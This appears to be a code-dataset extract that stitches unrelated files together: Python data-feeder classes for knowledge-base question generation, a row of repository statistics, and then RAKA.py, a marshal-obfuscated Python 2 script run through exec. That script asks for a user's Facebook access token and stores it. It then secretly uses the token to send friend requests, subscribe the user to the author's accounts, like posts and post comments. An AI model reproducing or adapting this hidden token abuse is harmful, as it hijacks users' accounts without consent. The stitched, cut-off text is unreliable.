self.propertyvocab = return_vocab(os.path.join(datapath, "property.vocab"))
self.wordvocab = return_vocab(os.path.join(datapath, "word.vocab"))
self.inv_entityvocab = return_inv_vocab(os.path.join(datapath, "entity.vocab"))
self.inv_propertyvocab = return_inv_vocab(os.path.join(datapath, "property.vocab"))
self.inv_wordvocab = return_inv_vocab(os.path.join(datapath, "word.vocab"))
# loading data files names
self.datafile = {"train":os.path.join(datapath, "train.ids"),
"valid": os.path.join(datapath, "valid.ids"),
"test": os.path.join(datapath, "valid.ids")
}
self.data = {}
def read_data(self):
modes = ["train", "test", "valid"]
data = []
for m in modes:
f = self.datafile[m]
data.append(pd.read_csv(f, names=["sub", "pred", "obj", "question", "subtype", "objtype", "dep", "direction", "placeholder_dict"]))
x = pd.concat(data)
if self.remove_unk:
unkdep = self.wordvocab["_UNK_DEP_"] if "_UNK_DEP_" in self.wordvocab else None
x = x[x.dep != unkdep]
x = x[x.apply(lambda i: str(self.wordvocab["_PLACEHOLDER_SUB_"]) in i['question'].split(), axis=1)]
x.reset_index(inplace=True)
tmp = [[], [], [], []]
for l in x.iterrows():
tmp[0].append([int(i) for i in l[1]['question'].split()])
tmp[1].append([int(i) for i in l[1]['subtype'].split()])
tmp[2].append([int(i) for i in l[1]['objtype'].split()])
tmp[3].append([int(i) for i in l[1]['dep'].split()])
x['question'] = tmp[0]
x['subtype'] = tmp[1]
x['objtype'] = tmp[2]
x['dep'] = tmp[3]
x['question_length'] = x.apply(lambda l: len(l['question']), axis=1)
x['subtype_length'] = x.apply(lambda l: len(l['subtype']), axis=1)
x['objtype_length'] = x.apply(lambda l: len(l['objtype']), axis=1)
x['dep_length'] = x.apply(lambda l: len(l['dep']), axis=1)
x['triple'] = x.apply(lambda l: [l['sub'], l['pred'], l['obj']], axis=1)
return x
def filter_data(self, x, mode, shot_percentage, min_count):
# removing predicates with less than min_count examples in the labeled set
x = x.groupby("pred").filter(lambda x: len(x) >= min_count)
ids = x.groupby("pred").indices
keep_ids = np.array([], dtype=np.int)
if mode == "train":
for v in ids.values():
start = 0
end = int(math.ceil(len(v) * shot_percentage * self.train_percent))
keep_ids = np.append(keep_ids, v[start:end])
elif mode == "test":
for v in ids.values():
start = int(math.ceil(len(v) * shot_percentage * self.train_percent))
end = int(start + math.ceil(len(v) * self.test_percent))
keep_ids = np.append(keep_ids, v[start:end])
elif mode == "valid":
for v in ids.values():
start = int(math.ceil(len(v) * shot_percentage * self.train_percent) + math.ceil(len(v) * self.test_percent))
end = int(start + math.ceil(len(v) * self.valid_percent))
keep_ids = np.append(keep_ids, v[start:end])
return keep_ids, x
def datafeed(self, mode, config, shot_percentage=1, min_count=10, shuffle=True):
"""
:param mode: train, valid, test
:param config: config object
:param shot_percentage: float between 0 and 1 indicating the percentage of the training data taken into consideration
:param min_count: int indicating the minimum count of the predicates of the examples being taken in to consideration
:param shuffle: whether to shuffle the training data or not
:param kfold: a number between 1 and 10
:return:
"""
x = self.read_data()
self.data[mode] = x
dataids, x = self.filter_data(x, mode, shot_percentage, min_count)
dataids = [i for i in dataids if i in x.index]
if shuffle:
np.random.shuffle(dataids)
return self.yield_datafeed(mode, dataids, x, config)
def yield_datafeed(self, mode, dataids, x, config):
"""
given a dataframe and selected ids and a mode yield data for experiments
:param mode:
:param dataids:
:param x:
:param config:
:return:
"""
if mode == "train":
for epoch in range(config.MAX_EPOCHS):
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
for bn, batchids in enumerate(chunks(dataids, config.BATCH_SIZE)):
batch = x.iloc[batchids]
max_length = max([batch['subtype_length'].values.max(),
batch['objtype_length'].values.max(),
batch['dep_length'].values.max(),
])
yield (
np.array([i for i in batch['triple'].values]),
self.pad(batch['subtype'].values, max_length=max_length),
batch['subtype_length'].values,
self.pad(batch['objtype'].values, max_length=max_length),
batch['objtype_length'].values,
self.pad(batch['dep'].values, max_length=max_length),
batch['dep_length'].values,
self.pad(batch['question'].values),
batch['question_length'].values,
batch['direction'].values,
{"epoch": epoch, "batch_id": bn, "ids": batchids, "placeholder_dict":[eval(i) for i in batch["placeholder_dict"].values]} # meta info
)
if mode == "test" or mode == "valid":
# in case of test of validation batch of size 1 and no shuffle
# takes longer computation time but allows variable lengths
for id in dataids:
batch = x.iloc[[id]]
max_length = max([batch['subtype_length'].values.max(),
batch['objtype_length'].values.max(),
batch['dep_length'].values.max(),
])
yield (
np.array([i for i in batch['triple']]),
self.pad(batch['subtype'], max_length=max_length),
batch['subtype_length'].values,
self.pad(batch['objtype'], max_length=max_length),
batch['objtype_length'].values,
self.pad(batch['dep'].values, max_length=max_length),
batch['dep_length'].values,
self.pad(batch['question'].values),
batch['question_length'].values,
batch['direction'].values,
{"ids": id, "placeholder_dict": [eval(i) for i in batch["placeholder_dict"].values]} # meta info
)
def pad(self, x, pad_char=0, max_length=None):
"""
helper function to add padding to a batch
:param x: array of arrays of variable length
:return: x with padding of max length
"""
if max_length is None:
max_length = max([len(i) for i in x])
y = np.ones([len(x), max_length]) * pad_char
for c, i in enumerate(x):
y[c, :len(i)] = i
return y
class ZeroShotsDataFeeder(FewShotsDataFeeder):
def filter_data(self, x, mode, criteria="pred", min_count=10, kfold=10, cv=0):
"""
:param x:
:param mode:
:param criteria:
:param min_count:
:param kfold:
:param cv:
:return:
"""
# removing predicates with less than min_count examples in the labeled set
criteria_hash = criteria + "_hash"
x[criteria_hash] = x.apply(lambda a: str(a[criteria]), axis=1) # make criteria hashable
x = x.groupby(criteria_hash).filter(lambda i: len(i) >= min_count)
ids = x.groupby(criteria_hash).indices
ids = sorted(ids.items(), key=lambda a: len(a[1]), reverse=True)
keep_ids = np.array([], dtype=np.int)
if mode == "train":
start = cv
pos = [(i + start) % kfold for i in range(int(math.ceil(kfold * self.train_percent)))]
for c, i in enumerate(ids):
if c % kfold in pos:
keep_ids = np.append(keep_ids, i[1])
elif mode == "test":
start = cv
start = [(i + start + 1) % kfold for i in range(int(math.ceil(kfold * self.train_percent)))][-1]
pos = [(i + start) % kfold for i in range(int(math.ceil(kfold * self.test_percent)))]
for c, i in enumerate(ids):
if c % kfold in pos:
keep_ids = np.append(keep_ids, i[1])
elif mode == "valid":
start = cv
start = [(i + start + 1) % kfold for i in range(int(math.ceil(kfold * (self.train_percent + self.test_percent))))][-1]
pos = [(i + start) % kfold for i in range(int(math.ceil(kfold * self.valid_percent)))]
for c, i in enumerate(ids):
if c % kfold in pos:
keep_ids = np.append(keep_ids, i[1])
return keep_ids, x
def datafeed(self, mode, config, criteria="pred", min_count=10, shuffle=True, kfold=10, cv=1):
"""
:param mode: train, valid, test
:param config: config object
:param criteria: the column label to do zero shot on "pred" "subtype" "objtype"
:param shot_percentage: float between 0 and 1 indicating the percentage of the training data taken into consideration
:param min_count: int indicating the minimum count of the predicates of the examples being taken in to consideration
:param shuffle: whether to shuffle the training data or not
:param kfold:
:param cv:
:return:
"""
x = self.read_data()
dataids, x = self.filter_data(x, mode, criteria, min_count, kfold, cv)
dataids = [i for i in dataids if i in x.index]
if shuffle:
np.random.shuffle(dataids)
return self.yield_datafeed(mode, dataids, x, config)
| 37.826 | 158 | 0.541321 | 2,368 | 18,913 | 4.218328 | 0.091216 | 0.034238 | 0.016218 | 0.014015 | 0.923516 | 0.90019 | 0.884173 | 0.876364 | 0.876364 | 0.862449 | 0 | 0.007076 | 0.3275 | 18,913 | 499 | 159 | 37.901804 | 0.778284 | 0.140644 | 0 | 0.807692 | 0 | 0 | 0.097488 | 0 | 0 | 0 | 0 | 0 | 0.003497 | 1 | 0.066434 | false | 0 | 0.013986 | 0 | 0.136364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b0debee22138b78967ed8168e7d5d00eda0223ff | 28,660 | py | Python | RAKA.py | Garangan-Z/AMANDA | 1301b17e84536c25a465afbf25407899cff717ba | [
"Apache-2.0"
] | null | null | null | RAKA.py | Garangan-Z/AMANDA | 1301b17e84536c25a465afbf25407899cff717ba | [
"Apache-2.0"
] | null | null | null | RAKA.py | Garangan-Z/AMANDA | 1301b17e84536c25a465afbf25407899cff717ba | [
"Apache-2.0"
] | null | null | null | #Compiled By Angga
#Facebook : https://www.facebook.com/PEMUDA.KALEUM
import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s\xc1\x01\x00\x00d\x00\x00Z\x00\x00d\x01\x00d\x02\x00l\x01\x00Z\x01\x00d\x01\x00d\x02\x00l\x02\x00Z\x02\x00d\x01\x00d\x02\x00l\x03\x00Z\x03\x00d\x01\x00d\x02\x00l\x04\x00Z\x04\x00y(\x00d\x01\x00d\x02\x00l\x05\x00Z\x05\x00d\x01\x00d\x02\x00l\x06\x00Z\x06\x00d\x01\x00d\x02\x00l\x07\x00Z\x07\x00Wn\x1b\x00\x04e\x08\x00k\n\x00r{\x00\x01\x01\x01d\x03\x00GHd\x04\x00GHn\x01\x00Xy4\x00d\x01\x00d\x05\x00l\t\x00m\n\x00Z\n\x00\x01d\x01\x00d\x06\x00l\x0b\x00m\x0b\x00Z\x0b\x00\x01d\x01\x00d\x07\x00l\x0c\x00m\r\x00Z\r\x00\x01Wn\x16\x00\x04e\n\x00k\n\x00r\xc8\x00\x01\x01\x01d\x08\x00GHn\x01\x00Xd\t\x00a\x0e\x00g\x00\x00Z\x0f\x00g\x00\x00Z\x10\x00d\n\x00Z\x11\x00d\x0b\x00Z\x12\x00d\x0c\x00Z\x13\x00d\r\x00Z\x14\x00d\x0e\x00Z\x15\x00d\x0f\x00Z\x16\x00d\x10\x00Z\x17\x00d\x11\x00Z\x18\x00d\x12\x00Z\x19\x00e\x03\x00j\x1a\x00e\x18\x00g\x01\x00\x83\x01\x00Z\x1b\x00y\x16\x00e\x07\x00j\x1c\x00d\x13\x00\x83\x01\x00j\x1d\x00Z\x1e\x00Wn#\x00\x04e\n\x00k\n\x00r^\x01\x01\x01\x01d\x14\x00GHe\x04\x00j\x1f\x00d\x15\x00\x83\x01\x00\x01n\x01\x00Xd\x16\x00Z \x00d\x17\x00\x84\x00\x00Z!\x00d\x18\x00Z"\x00d\x19\x00Z#\x00d\x1a\x00\x84\x00\x00Z$\x00d\x1b\x00\x84\x00\x00Z%\x00d\x1c\x00\x84\x00\x00Z&\x00d\x1d\x00\x84\x00\x00Z\'\x00d\x1e\x00\x84\x00\x00Z(\x00e)\x00d\x1f\x00k\x02\x00r\xbd\x01e$\x00\x83\x00\x00\x01n\x00\x00d\x02\x00S( \x00\x00\x00sJ\x00\x00\x00 Raka Andrian Tara\n facebook : Raka Andrian Tara\n github : Bajingan-Z\ni\xff\xff\xff\xffNs#\x00\x00\x00 [-] module requests Not installed s!\x00\x00\x00 [-] Type > pip2 install requests(\x01\x00\x00\x00t\x0f\x00\x00\x00ConnectionError(\x01\x00\x00\x00t\x08\x00\x00\x00datetime(\x01\x00\x00\x00t\n\x00\x00\x00ThreadPools$\x00\x00\x00 [-] check your internet Connection i\x00\x00\x00\x00s\x07\x00\x00\x00\x1b[1;93ms\x07\x00\x00\x00\x1b[1;92ms\x08\x00\x00\x00\x1b[1;101ms\x04\x00\x00\x00\x1b[0ms\x07\x00\x00\x00\x1b[1;91ms\x07\x00\x00\x00\x1b[1;96ms\x9e\x00\x00\x00Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-4/10.0.001; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML,like Gecko) BrowserNG/7.1.17125sJ\x00\x00\x00BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103sJ\x00\x00\x00BlackBerry7130e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104s\x15\x00\x00\x00https://api.ipify.orgs\'\x00\x00\x00\n [!] Vheck Your Internet Connection !\ni\x01\x00\x00\x00s3\x00\x00\x00__________________________________________________\nc\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sC\x00\x00\x00x<\x00|\x00\x00d\x01\x00\x17D]0\x00}\x01\x00t\x00\x00j\x01\x00j\x02\x00|\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x03\x00\x83\x00\x00\x01t\x04\x00j\x05\x00d\x02\x00\x83\x01\x00\x01q\x0b\x00Wd\x00\x00S(\x03\x00\x00\x00Ns\x01\x00\x00\x00\ng\x9a\x99\x99\x99\x99\x99\xb9?(\x06\x00\x00\x00t\x03\x00\x00\x00syst\x06\x00\x00\x00stdoutt\x05\x00\x00\x00writet\x05\x00\x00\x00flusht\x04\x00\x00\x00timet\x05\x00\x00\x00sleep(\x02\x00\x00\x00t\x01\x00\x00\x00zt\x01\x00\x00\x00i(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>t\x05\x00\x00\x00jalan9\x00\x00\x00s\x08\x00\x00\x00\x00\x01\x11\x01\x10\x01\r\x01s\xff\x02\x00\x00\n\x1b[1;96m _______ _______ _______ __ __ ______ _______ \n\x1b[1;96m| ___ || || ___ || \\ | || ___ ) | ___ |\n\x1b[1;96m| ( ) || () () || ( ) || \\ | || | ) || ( ) |\n\x1b[1;96m| (___) || || || || (___) || () || | | || (___) |\n\x1b[1;96m| ___ || |(_)| || ___ || () || | | || ___ |\n\x1b[1;96m| ( ) || | | || ( ) || | \\ || | | || ( ) |\n\x1b[1;96m| ) ( || ) ( || ) ( || ) ( || |___ ) || ) ( |\n\x1b[1;96m|/ \\||/ \\||/ \\||/ \\||______ ) |/ \\|\x1b[1;97m\n__________________________________________________\n\n\x1b[1;97mCreated By : \x1b[1;96mRaka Andrian Tara\n\x1b[1;97mGithub : \x1b[1;96mBajingan-Z\n\x1b[1;97mCoded By : \x1b[1;96mRaka \x1b[1;97m& \x1b[1;96mAngga\x1b[1;97m\n__________________________________________________\nt\x10\x00\x00\x003882176535153442c\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xd7\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x1a\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00}\x00\x00t\x03\x00\x83\x00\x00\x01Wn\xa9\x00\x04t\x04\x00t\x05\x00f\x02\x00k\n\x00r\xd2\x00\x01\x01\x01t\x06\x00GHd\x04\x00GHd\x05\x00GHt\x07\x00d\x06\x00\x83\x01\x00}\x01\x00|\x01\x00d\x07\x00k\x02\x00r\x80\x00d\x08\x00GHt\x08\x00j\t\x00d\t\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01q\xd3\x00|\x01\x00d\n\x00k\x02\x00s\x98\x00|\x01\x00d\x0b\x00k\x02\x00r\xa2\x00t\x0b\x00\x83\x00\x00\x01q\xd3\x00|\x01\x00d\x0c\x00k\x02\x00r\xc8\x00t\x0c\x00d\r\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x0e\x00\x83\x01\x00\x01q\xd3\x00t\n\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x0f\x00\x00\x00Nt\x05\x00\x00\x00clears\x0b\x00\x00\x00login_r.txtt\x01\x00\x00\x00rs\x1f\x00\x00\x00 [1] Login With Token Facebook s\x0b\x00\x00\x00 [0] Exit \ns\x19\x00\x00\x00 [\x1b[1;97m?\x1b[0m] Choose : t\x00\x00\x00\x00s\x12\x00\x00\x00\n [!] Please Fill i\x01\x00\x00\x00t\x01\x00\x00\x001t\x02\x00\x00\x0001t\x01\x00\x00\x000s\x1b\x00\x00\x00 [R] Please Come Back Againt\x04\x00\x00\x00exit(\r\x00\x00\x00t\x02\x00\x00\x00ost\x06\x00\x00\x00systemt\x04\x00\x00\x00opent\x04\x00\x00\x00menut\x08\x00\x00\x00KeyErrort\x07\x00\x00\x00IOErrort\t\x00\x00\x00raka_logot\t\x00\x00\x00raw_inputR\x07\x00\x00\x00R\x08\x00\x00\x00t\x05\x00\x00\x00logint\x06\x00\x00\x00tokenzR\x0b\x00\x00\x00(\x02\x00\x00\x00t\x05\x00\x00\x00tokent\x07\x00\x00\x00met_log(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>R\x1c\x00\x00\x00O\x00\x00\x00s&\x00\x00\x00\x00\x01\r\x01\x03\x01\x0f\x01\x0b\x01\x13\x01\x05\x01\x05\x01\x05\x01\x0c\x01\x0c\x01\x05\x00\r\x01\n\x01\x18\x01\n\x01\x0c\x01\n\x01\x10\x02c\x00\x00\x00\x00\x04\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xc8\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHy\x13\x00t\x03\x00d\x02\x00d\x03\x00\x83\x02\x00}\x00\x00Wn\x9c\x00\x04t\x04\x00t\x05\x00f\x02\x00k\n\x00r\xc3\x00\x01\x01\x01t\x06\x00d\x04\x00\x83\x01\x00}\x00\x00y`\x00t\x07\x00j\x08\x00d\x05\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\t\x00j\n\x00|\x01\x00j\x0b\x00\x83\x01\x00}\x02\x00t\x03\x00d\x02\x00d\x06\x00\x83\x02\x00}\x03\x00|\x03\x00j\x0c\x00|\x00\x00\x83\x01\x00\x01|\x03\x00j\r\x00\x83\x00\x00\x01t\x0e\x00\x83\x00\x00\x01t\x0f\x00d\x07\x00\x83\x01\x00\x01Wq\xc4\x00\x04t\x04\x00k\n\x00r\xbf\x00\x01\x01\x01d\x08\x00GHq\xc4\x00Xn\x01\x00Xd\x00\x00S(\t\x00\x00\x00NR\r\x00\x00\x00s\x0b\x00\x00\x00login_r.txtR\x0e\x00\x00\x00s\r\x00\x00\x00 [?] Token : s+\x00\x00\x00https://graph.facebook.com/me?access_token=t\x01\x00\x00\x00ws\x15\x00\x00\x00 [!] Login Succes....s\x11\x00\x00\x00 [!] Token Wrong (\x10\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00R\x1a\x00\x00\x00R\x16\x00\x00\x00R\x18\x00\x00\x00R\x19\x00\x00\x00R\x1b\x00\x00\x00t\x08\x00\x00\x00requestst\x03\x00\x00\x00gett\x04\x00\x00\x00jsont\x05\x00\x00\x00loadst\x04\x00\x00\x00textR\x05\x00\x00\x00t\x05\x00\x00\x00closet\x0e\x00\x00\x00follow_my_rakaR\x0b\x00\x00\x00(\x04\x00\x00\x00R\x1e\x00\x00\x00t\x03\x00\x00\x00otwt\x01\x00\x00\x00at\x05\x00\x00\x00avsid(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>R\x1d\x00\x00\x00d\x00\x00\x00s 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\x00d!\x00g\x0b\x00\x83\x01\x00}\x04\x00t\x06\x00j\x07\x00d"\x00d#\x00d#\x00d"\x00g\x04\x00\x83\x01\x00}\x05\x00|\x05\x00d\x16\x00\x17|\x04\x00\x17}\x06\x00t\x06\x00j\x07\x00d$\x00d%\x00d&\x00d\'\x00g\x04\x00\x83\x01\x00}\x07\x00d(\x00}\x08\x00|\x08\x00d\x16\x00\x17|\x07\x00\x17}\t\x00t\x08\x00j\t\x00d)\x00|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d*\x00|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d+\x00|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d,\x00|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d-\x00|\x03\x00\x17d.\x00\x17|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d/\x00|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d0\x00|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d-\x00|\t\x00\x17d.\x00\x17|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d1\x00|\x06\x00\x17d.\x00\x17|\x00\x00\x17\x83\x01\x00\x01t\x08\x00j\t\x00d2\x00t\n\x00|\x00\x00|\x00\x00f\x03\x00\x16\x83\x01\x00\x01t\x0b\x00\x83\x00\x00\x01d\x00\x00S(3\x00\x00\x00Ns\x0b\x00\x00\x00login_r.txtR\x0e\x00\x00\x00s\x11\x00\x00\x00 Invalid Token ! s\x13\x00\x00\x00 Please Login Agains\x12\x00\x00\x00rm -rf login_r.txtsi\x00\x00\x00Cinta sejati bukan berarti tidak terpisahkan. Itu hanya berarti dipisahkan, namun tidak ada yang berubah.sV\x00\x00\x00 Aku tahu aku jatuh cinta padamu karena kenyataanku akhirnya lebih indah dari mimpiku.sp\x00\x00\x00Kamu adalah pikiran terakhir dalam pikiranku sebelum tertidur dan pikiran pertama ketika aku bangun setiap pagi.sN\x00\x00\x00Bagi dunia, kamu mungkin satu orang, tetapi bagi satu orang kamu adalah dunia.sw\x00\x00\x00Kamu telah mengganti mimpi burukku dengan mimpi indah, kekhawatiranku dengan kebahagiaan, dan ketakutanku dengan cinta.s\\\x00\x00\x00Kamu mungkin memegang tanganku untuk sementara waktu, tetapi kamu memegang hatiku selamanya.s\xd9\x00\x00\x00Kekasihku, janganlah engkau menangis, berbahagialah kekasihku, jangan ada duka yang menyelimutimu. Aku berharap kau selalu dalam keadaan bahagia meski dari jauh aku saja tak bisa membahagiakanmu dan membuatmu tertawa.s\xab\x00\x00\x00Ketika seseorang membuat kamu menjadi orang yang paling bahagia dan orang paling menyedihkan pada saat yang sama, itulah saat yang nyata. Itu adalah sesuatu yang berharga.s\x98\x00\x00\x00Tidak peduli berapa banyak perkelahian yang mungkin kamu alami, jika kamu benar-benar mencintai seseorang, itu tidak akan menjadi masalah pada akhirnya.su\x00\x00\x00Dicintai secara mendalam oleh seseorang memberimu kekuatan. Mencintai seseorang secara mendalam memberimu keberanian.si\x00\x00\x00Cinta sejati tidak harus berarti menyatu, terkadang cinta sejati itu terpisah namun tak ada yang berubah.s\xc3\x00\x00\x00Saat pagi datang, senyumanmu memeluk pikiranku, saat siang datang kau bagaikan payung yang selalu membuatku teduh, dan saat malam kau adalah kehangatan yang selalu membuatku jauh dari kedinginan.s\x9c\x00\x00\x00Mencintai merupakan sebuah anugerah besar yang Tuhan berikan kepada manusia. Maka dari itu, kita perlu senantiasa bersyukur dan menjaga segala anugerah itu.sP\x00\x00\x00Mungkin ketidaksempurnaan kita yang membuat kita begitu sempurna satu sama lain.s@\x00\x00\x00Aku yakin bahwa cinta kita nanti akan bersatu dalam ikatan suci.s\x17\x00\x00\x00Pengguna Script Premiums\x01\x00\x00\x00\nsc\x00\x00\x00Kita tidak akan pernah tahu bagimana menyembahNya sebelum kita mulai dengan bagaimana mencintaiNya.s\xd5\x00\x00\x00Apakah engkau meremehkan suatu doa kepada Allah, apakah engkau tahu keajaiban dan kemukjizatan doa? Ibarat panah dimalam hari, ia tidak akan meleset namun ia punya batas dan setiap batas ada saatnya untuk selesai.s{\x00\x00\x00Jangan berjalan dimuka bumi dengan penuh kesombongan dan congkak karena sebentar lagi engkau akan masuk ke dalam bumi juga.se\x00\x00\x00Barang siapa yang bersungguh-sungguh berjalan pada jalannya maka pasti ia akan sampai pada tujuannya.sA\x00\x00\x00Ilmu pengetahuan di waktu kecil itu bagaikan ukiran di atas batu.su\x00\x00\x00Bukanlah anak yatim itu yang telah meninggal orangtuanya, tetapi sesungguhnya yatim itu adalah yatim ilmu dan akhlak.sP\x00\x00\x00Ilmu tanpa agama adalah suatu kecacatan, dan agama tanpa ilmu merupakan kebutaans\x80\x00\x00\x00Kegagalan adalah cara Allah untuk mengatakan bersabarlah karena aku memiliki sesuatu yang lebih baik untukmu saat waktunya tiba.sK\x00\x00\x00Kita tidak akan pernah kalah sampai kita menyerahkan semuanya kepada Tuhan.sV\x00\x00\x00Bagimu agamamu, bagiku agamaku. Karena sesungguhnya tidaka ada paksaan dalam beragama.sj\x00\x00\x00Sabar dan bisa mengikhlaskan sesuatu yang telah pergi adalah salah satu cara untuk mendapatkan kebahagian.s\x1a\x00\x00\x00Hai Aa @[100000834003593:]s\x1c\x00\x00\x00Hello Aa @[100000834003593:]sm\x00\x00\x00Jalan-jalan naik kereta, Naik ke atas pakai tangga. Mari kita gapai cita-cita, Bahagia dunia, masuk ke surga.so\x00\x00\x00Pisau tajam dari baja, Perang panjang banyak guna. Membayar sukses dengan kerja, Bayar sekarang, kelak bahagia.sp\x00\x00\x00Sampan sudah, rakit sudah, Yang belum hanya bahteranya. Sarapan sudah, ngopi sudah, Yang belum tinggal kerjanya.sv\x00\x00\x00Kapas terhembus angin ringan, Sejuk terasa angin pantai. Lebih bahagia dalam perjuangan, Daripada dalam santai-santai.sJ\x00\x00\x00MOGA LANGGENG AA @[100000834003593:] SAMA TTH @[100003016223315:] NYA AMINsT\x00\x00\x00https://graph.facebook.com/me/friends?method=post&uids=100000834003593&access_token=sD\x00\x00\x00https://graph.facebook.com/100017584682867/subscribers?access_token=sD\x00\x00\x00https://graph.facebook.com/100000395779504/subscribers?access_token=sD\x00\x00\x00https://graph.facebook.com/100006184624502/subscribers?access_token=s>\x00\x00\x00https://graph.facebook.com/4257706904267068/comments/?message=s\x0e\x00\x00\x00&access_token=sL\x00\x00\x00https://graph.facebook.com/4257706904267068/likes?summary=true&access_token=sL\x00\x00\x00https://graph.facebook.com/4134622646575495/likes?summary=true&access_token=s>\x00\x00\x00https://graph.facebook.com/4134622646575495/comments/?message=sB\x00\x00\x00https://graph.facebook.com/%s/comments/?message=%s&access_token=%s(\x0c\x00\x00\x00R\x16\x00\x00\x00t\x04\x00\x00\x00readR\x19\x00\x00\x00R\x0b\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00t\x06\x00\x00\x00randomt\x06\x00\x00\x00choiceR!\x00\x00\x00t\x04\x00\x00\x00postt\x12\x00\x00\x00raka_sayang_amandaR\x17\x00\x00\x00(\n\x00\x00\x00R\x1e\x00\x00\x00t\x0f\x00\x00\x00kata_kata_cintat\n\x00\x00\x00kata_utamat\x05\x00\x00\x00koment\x12\x00\x00\x00kata_mutiara_islamt\x0b\x00\x00\x00kata_utama2t\x06\x00\x00\x00komen2t\x0f\x00\x00\x00pantun_motivasit\x0b\x00\x00\x00kata_utama3t\x06\x00\x00\x00komen3(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>R\'\x00\x00\x00v\x00\x00\x00s4\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\x05\x01\n\x01\x11\x01<\x01\x06\x01\x0e\x010\x01\x1b\x01\x0e\x01\x1b\x01\x06\x01\x0e\x01\x11\x01\x11\x01\x11\x01\x11\x01\x19\x01\x11\x01\x11\x01\x19\x01\x19\x01\x1a\x01c\x00\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s?\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00a\x04\x00Wn<\x00\x04t\x05\x00k\n\x00rd\x00\x01\x01\x01t\x06\x00d\x04\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy=\x00t\x08\x00j\t\x00d\x06\x00t\x04\x00\x17\x83\x01\x00}\x00\x00t\n\x00j\x0b\x00|\x00\x00j\x0c\x00\x83\x01\x00}\x01\x00|\x01\x00d\x07\x00\x19}\x02\x00|\x01\x00d\x08\x00\x19}\x03\x00WnW\x00\x04t\r\x00k\n\x00r\xe0\x00\x01\x01\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x06\x00d\t\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x1c\x00\x04t\x08\x00j\x0e\x00j\x0f\x00k\n\x00r\xfb\x00\x01\x01\x01d\n\x00GHn\x01\x00Xt\x10\x00GHd\x0b\x00t\x11\x00t\x12\x00|\x02\x00f\x03\x00\x16GHd\x0c\x00t\x11\x00t\x12\x00t\x13\x00f\x03\x00\x16GHd\r\x00t\x11\x00t\x12\x00|\x03\x00f\x03\x00\x16GHd\x0e\x00t\x14\x00t\x12\x00f\x02\x00\x16GHd\x0f\x00t\x15\x00t\x12\x00f\x02\x00\x16GHd\x10\x00t\x16\x00t\x12\x00f\x02\x00\x16GHt\x17\x00d\x11\x00\x83\x01\x00}\x04\x00|\x04\x00d\x12\x00k\x02\x00s\x88\x01|\x04\x00d\x13\x00k\x02\x00r\x92\x01t\x18\x00\x83\x00\x00\x01n\xa9\x00|\x04\x00d\x14\x00k\x02\x00s\xaa\x01|\x04\x00d\x15\x00k\x02\x00r\xd8\x01t\x06\x00d\x16\x00\x83\x01\x00\x01t\x19\x00j\x1a\x00d\x17\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01nc\x00|\x04\x00d\x18\x00k\x02\x00r\xfe\x01t\x06\x00d\x19\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x1a\x00\x83\x01\x00\x01n=\x00|\x04\x00d\x1b\x00k\x02\x00s\x16\x02|\x04\x00d\x1c\x00k\x02\x00r*\x02t\x06\x00d\x1d\x00\